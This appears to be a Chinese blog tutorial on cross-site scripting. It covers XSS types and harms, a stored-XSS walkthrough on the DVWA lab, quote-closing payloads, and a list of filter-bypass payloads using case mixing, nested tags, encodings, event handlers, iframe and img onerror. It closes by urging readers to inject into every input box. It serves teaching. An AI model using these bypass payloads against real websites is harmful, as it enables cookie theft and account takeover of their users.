XSS原理及利用(基础篇)

一.XSS原理:

      跨站脚本攻击(Cross Site Scripting),攻击者通过畸形的输入,往Web页面中插入恶意的javaScript代码,当用户浏览网页时嵌入的恶意JavaScript代码会被执行,从而达到攻击用户的目的。

二:XSS的危害:

1.获取Cookie信息

Cookie中一般会存储加密后用户的登录凭证信息,当你登录后浏览器会携带上Cookie进行访问,相当于一直登录的状态,XSS就可以获取用户的Cookie信息,返回给攻击者,攻击者就可以利用这个凭证直接登录你的账号,使用你能使用的所有功能

2.XSS Wrom攻击(蠕虫)

对网站进行大量破坏,破坏力和影响力非常大(多数在有存储型XSS的地方)

3.获取用户的系统信息

      利用XSS可以识别用户的浏览器信息、用户所使用的软件、用户真实IP等信息

三.XSS类型:

反射型-XSS: 将用户输入的恶意代码直接传到服务器端(不保存),后台未经过任何过滤,直接将输入数据返回给浏览器去执行

存储型-XSS:将用户输入的恶意代码存储在服务器端,当其他用户访问这个页面的时候就会执行这些恶意代码,这种XSS具有很强的稳定性(一般这种XSS存在于与数据库交互的地方,比如:登录名)

DOM-XSS :也是属于反射型XSS的一种,纯粹发生在客户端的XSS攻击。通过修改页面的DOM节点形成的XSS,称之为DOMBased XSS。

四.存储型XSS实例(利用的是DVWA平台)

1.这里是一个留言模块,随便输入Name值和Message值

XSS原理及利用(基础篇)

2.留言成功,页面直接把信息返回了回来

XSS原理及利用(基础篇)

3.查看页面源代码,ctrl+f搜索自己刚刚输入的值,找到位置

XSS原理及利用(基础篇)

4.现在我们插入XSS语句试试,<script>alert(1)</script>,插入后就直接弹窗了

XSS原理及利用(基础篇)

5.点击确定看到页面上我们刚刚输入的javascript代码没有了

XSS原理及利用(基础篇)

6.这里是应为代码已经被解析掉了,我们可以通过查看源代码进行查看

 XSS原理及利用(基础篇)

五.闭合语句

      有些时候你会发现,你输入语句但是没有被解析,下面我们做一个小实验:

1.我们输入正常的弹窗语句,发现并没有弹窗

XSS原理及利用(基础篇)

2.点击右键,查看源代码进行分析

XSS原理及利用(基础篇)

看到这里被当做了一串字符串了,要想执行我们的代码语句就必须要前面的语句,先用双引号”闭合value属性,然后再加一个大于号>闭合input标签,我们的payload就成了"><script>alert(1)</script>

3.这时我们在输入构造的payload,就可以弹窗了

常用的闭合语句:

"><script>alert(1)</script>

‘><script>alert(1)</script>

六.基础过滤绕过:

1.大小写绕过

<ScRipt>AlErt(“1”)</ScRipt>

2.script标签重复绕过

<scr<script>ipt>alert(1)</scr</script>ipt>

3. ASCII编码绕过

String.fromCharCode(60,115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116, 40, 49, 41, 60, 47,115, 99, 114, 105, 112, 116, 62)

4.超链接绕过

<a href=javascript:alert(1)>123</a>

5.16进制编码绕过

&#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x3C;&#x2F;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;

6.过滤尖括号的绕过

'onclick='alert(1)

'onmousemove='alert(1)

7.Unicode编码绕过

<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029</script>

8.利用iframe的scr来弹窗绕过

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>

9.利用img绕过

<img scr=1 onerror=alert('xss')>

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

注:XSS秉承见框就插,多查看源代码,会发现不一样的世界



感谢各位大佬赏脸,有什么不足的地方请多多指教,欢迎意见轰炸,谢谢!!!